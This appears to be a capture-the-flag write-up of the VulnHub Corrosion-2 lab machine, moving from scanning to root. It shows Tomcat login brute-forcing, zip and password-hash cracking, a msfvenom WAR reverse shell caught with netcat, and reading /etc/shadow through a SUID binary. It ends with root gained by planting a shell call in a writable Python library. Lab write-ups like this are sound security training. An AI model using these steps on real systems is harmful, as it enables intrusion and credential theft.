VulnHub Corrosion-2 Writeup
Machine: https://www.vulnhub.com/entry/corrosion-2,745/ Machine Author: Proxy Programmer
Nmap
# Nmap 7.94SVN scan initiated Fri Jan 10 00:31:29 2025 as: /usr/lib/nmap/nmap -Pn -p- -A -T4 -oN scan.txt 192.168.56.137
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers
Nmap scan report for 192.168.56.137
Host is up (0.00084s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 6a:d8:44:60:80:39:7e:f0:2d:08:2f:e5:83:63:f0:70 (RSA)
| 256 f2:a6:62:d7:e7:6a:94:be:7b:6b:a5:12:69:2e:fe:d7 (ECDSA)
|_ 256 28:e1:0d:04:80:19:be:44:a6:48:73:aa:e8:6a:65:44 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.41 (Ubuntu)
8080/tcp open http Apache Tomcat 9.0.53
|_http-open-proxy: Proxy might be redirecting requests
|_http-favicon: Apache Tomcat
|_http-title: Apache Tomcat/9.0.53
MAC Address: 08:00:27:B0:5C:BD (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.8
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE
HOP RTT ADDRESS
1 0.84 ms 192.168.56.137
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Jan 10 00:31:41 2025 -- 1 IP address (1 host up) scanned in 12.55 seconds
There aren’t that many interesting ports up on the system. The only thing that stands out is the Tomcat running on port 8080. That is a common service used in vulnerable machines, so let’s go ahead and perform our enumeration on it.
We see that the website is up and running.
Based on the information we have at hand, we can try our hand at bruteforcing common credentials and see if we can get a quick win.
msfconsole
msf6 > use auxiliary/scanner/http/tomcat_mgr_login
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set RHOST 192.168.56.137
RHOST => 192.168.56.137
msf6 auxiliary(scanner/http/tomcat_mgr_login) > run
[!] No active DB -- Credential data will not be saved!
[-] 192.168.56.137:8080 - LOGIN FAILED: admin:admin (Incorrect)
[-] 192.168.56.137:8080 - LOGIN FAILED: admin:manager (Incorrect)
[-] 192.168.56.137:8080 - LOGIN FAILED: admin:role1 (Incorrect)
[-] 192.168.56.137:8080 - LOGIN FAILED: tomcat:tomcat (Incorrect)
<SNIP>
[-] 192.168.56.137:8080 - LOGIN FAILED: tomcat:password (Incorrect)
[-] 192.168.56.137:8080 - LOGIN FAILED: tomcat: (Incorrect)
[-] 192.168.56.137:8080 - LOGIN FAILED: tomcat:admin (Incorrect)
[-] 192.168.56.137:8080 - LOGIN FAILED: tomcat:changethis (Incorrect)
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
It seems the default credentials didn’t work.
I tried running it through a different wordlist but that didn’t pan out either. So it seems we need to perform some more enumeration. So I decided to do some directory busting.
I tried directory busting port 80, but that didn’t yield any results so I tried busting 8080 to see what we could find. A regular feroxbuster scan didn’t reveal anything so I thought of adding some common extensions to it.
feroxbuster -u http://192.168.56.137:8080 -w /usr/share/wordlists/seclists/SecLists-master/Discovery/Web-Content/directory-list-2.3-medium.txt -n -t 100 -x zip,txt,php
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.11.0
───────────────────────────┬──────────────────────
🎯 Target Url │ http://192.168.56.137:8080
🚀 Threads │ 100
📖 Wordlist │ /usr/share/wordlists/seclists/SecLists-master/Discovery/Web-Content/directory-list-2.3-medium.txt
👌 Status Codes │ All Status Codes!
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.11.0
💉 Config File │ /etc/feroxbuster/ferox-config.toml
🔎 Extract Links │ true
💲 Extensions │ [zip, txt, php]
🏁 HTTP methods │ [GET]
🚫 Do Not Recurse │ true
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404 GET 1l 68w -c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
302 GET 0l 0w 0c http://192.168.56.137:8080/docs => http://192.168.56.137:8080/docs/
401 GET 63l 291w 2499c http://192.168.56.137:8080/manager/html
200 GET 967l 1204w 67795c http://192.168.56.137:8080/tomcat.svg
200 GET 34l 158w 1156c http://192.168.56.137:8080/docs/api/index.html
<SNIP>
302 GET 0l 0w 0c http://192.168.56.137:8080/examples => http://192.168.56.137:8080/examples/
200 GET 121l 777w 60227c http://192.168.56.137:8080/backup.zip
200 GET 2l 29w 153c http://192.168.56.137:8080/readme.txt
302 GET 0l 0w 0c http://192.168.56.137:8080/manager => http://192.168.56.137:8080/manager/
Most of the results were just tomcat items, but there was an odd one out there, backup.zip. I decided to download that file and unzip it but it was password protected.
unzip backup.zip
Archive: backup.zip
[backup.zip] catalina.policy password:
skipping: catalina.policy incorrect password
skipping: context.xml incorrect password
skipping: catalina.properties incorrect password
skipping: jaspic-providers.xml incorrect password
skipping: jaspic-providers.xsd incorrect password
skipping: logging.properties incorrect password
skipping: server.xml incorrect password
skipping: tomcat-users.xml incorrect password
skipping: tomcat-users.xsd incorrect password
skipping: web.xml incorrect password
So it seems we need to perform some more bruteforcing. I used zip2john to retrieve the hash and store it in another file, and then crack it using John.
john hash.hash --show
backup.zip:@administrator_hi5::backup.zip:jaspic-providers.xml, context.xml, tomcat-users.xsd, jaspic-providers.xsd, logging.properties, tomcat-users.xml, catalina.properties, server.xml:backup.zip
1 password hash cracked, 0 left
We get the password @administrator_hi5
Using that to unzip the file we get a few files back
ls
catalina.policy catalina.properties context.xml jaspic-providers.xml jaspic-providers.xsd logging.properties server.xml tomcat-users.xml tomcat-users.xsd web.xml
The most interesting file here is the tomcat-users.xml since that contains credentials for the tomcat manager app which will allow us to get a shell.
<role rolename="manager-gui"/>
<user username="manager" password="melehifokivai" roles="manager-gui"/>
We get the username and password for the tomcat manager app. We can now login and upload our shell.
We have the capability of uploading a WAR file which can be abused to run malicious applications using the tomcat manager. We can create a malicious WAR file using msfvenom to get us a reverse shell.
msfvenom -p java/shell_reverse_tcp lhost=192.168.56.103 lport=4242 -f war -o shell.war
We can see that our shell has been uploaded
Now all we need to do is visit that endpoint and our malicious application will run giving us a reverse shell. So let’s set up a listener and wait for a connection.
nc -lvnp 4242
listening on [any] 4242 ...
connect to [192.168.56.103] from (UNKNOWN) [192.168.56.137] 47414
whoami
tomcat
id
uid=1001(tomcat) gid=1001(tomcat) groups=1001(tomcat)
There we go, we now have access to the system as the tomcat user. Now time for some Privilege Escalation. But before that I’ll quickly upgrade the shell to a more interactive one
python3 -c 'import pty; pty.spawn("/bin/bash")'
tomcat@corrosion:/var/spool/cron$ ^Z
zsh: suspended nc -lvnp 4242
stty raw -echo; fg
[1] + continued nc -lvnp 4242
tomcat@corrosion:/var/spool/cron$
tomcat@corrosion:/var/spool/cron$ export TERM=xterm
tomcat@corrosion:/var/spool/cron$
There we go now we have autocomplete and other features so we can navigate the system efficiently.
After some looking around I was able to access the randy user’s home, and get the user.txt for that user.
After looking around common places in the system and not finding anything I decided to run linpeas but didn’t manage to find anything interesting.
Then I thought to try for Password Re-Use. So I listed all the users in /home
tomcat@corrosion:/home$ ls
jaye randy
We can see two users. I tried using the tomcat password with both of them, and using it on jaye worked and gave me access.
tomcat@corrosion:/home$ su jaye
Password:
$ whoami
jaye
I decided to check out the home directory of jaye and found an interesting file
jaye@corrosion:~$ ls * -l
Desktop:
total 0
Documents:
total 0
Downloads:
total 0
Files:
total 16
---s--s--x 1 root root 14728 Sep 17 2021 look
Music:
total 0
Pictures:
total 0
Public:
total 0
snap:
total 4
drwxr-xr-x 4 jaye jaye 4096 Sep 17 2021 snap-store
Templates:
total 0
Videos:
total 0
We can see that there is a look file with the SUID bit enabled which will allow us to look at any file. We can use this to get the /etc/shadow file to get hashes for any user.
root:$6$fHvHhNo5DWsYxgt0$.3upyGTbu9RjpoCkHfW.1F9mq5dxjwcqeZl0KnwEr0vXXzi7Tld2lAeYeIio/9BFPjUCyaBeLgVH1yK.5OR57.:18888:0:99999:7:::
<SNIP>
randy:$6$bQ8rY/73PoUA4lFX$i/aKxdkuh5hF8D78k50BZ4eInDWklwQgmmpakv/gsuzTodngjB340R1wXQ8qWhY2cyMwi.61HJ36qXGvFHJGY/:18888:0:99999:7:::
tomcat:$6$XD2Bs.tL01.5OT2b$.uXUR3ysfujHGaz1YKj1l9XUOMhHcKDPXYLTexsWbDWqIO9ML40CQZPI04ebbYzVNBFmgv3Mpd3.8znPfrBNC1:18888:0:99999:7:::
<SNIP>
jaye:$6$Chqrqtd4U/B1J3gV$YjeAWKM.usyi/JxpfwYA6ybW/szqkiI1kerC4/JJNMpDUYKavQbnZeUh4WL/fB/4vrzX0LvKVWu60dq4SOQZB0:18887:0:99999:7:::
I then decided to crack the hashes for root and randy using john the ripper. After a long while I was able to get the password for randy.
john hash3.hash --show
randy:07051986randy:1000:1000:randy,,,:/home/randy:/bin/bash
1 password hash cracked, 0 left
We now have access to the randy user
randy@corrosion:~$ sudo -l
[sudo] password for randy:
Matching Defaults entries for randy on corrosion:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User randy may run the following commands on corrosion:
(root) PASSWD: /usr/bin/python3.8 /home/randy/randombase64.py
Using sudo -l we can see that randy can run the randombase64 script as root. Let’s take a look at what the script is doing.
import base64
message = input("Enter your string: ")
message_bytes = message.encode('ascii')
base64_bytes = base64.b64encode(message_bytes)
base64_message = base64_bytes.decode('ascii')
print(base64_message)
It seems to just be encoding a string to base64. We don’t seem to have write privileges on this file, although we can check to see if we have write privileges on the base64 library.
randy@corrosion:~$ ls -l /usr/lib/python3.8/base64.py
-rwxrwxrwx 1 root root 20386 Sep 20 2021 /usr/lib/python3.8/base64.py
We do have write access on the base64 library. We can now just add our malicious code in there and run the script using sudo and we will have root.
import os
os.system("/bin/bash")
I added the above script to get a shell directly
root@corrosion:/home/randy# whoami
root
And there we go we have root.
root@corrosion:~# cat root.txt
2fdbf8d4f894292361d6c72c8e833a4b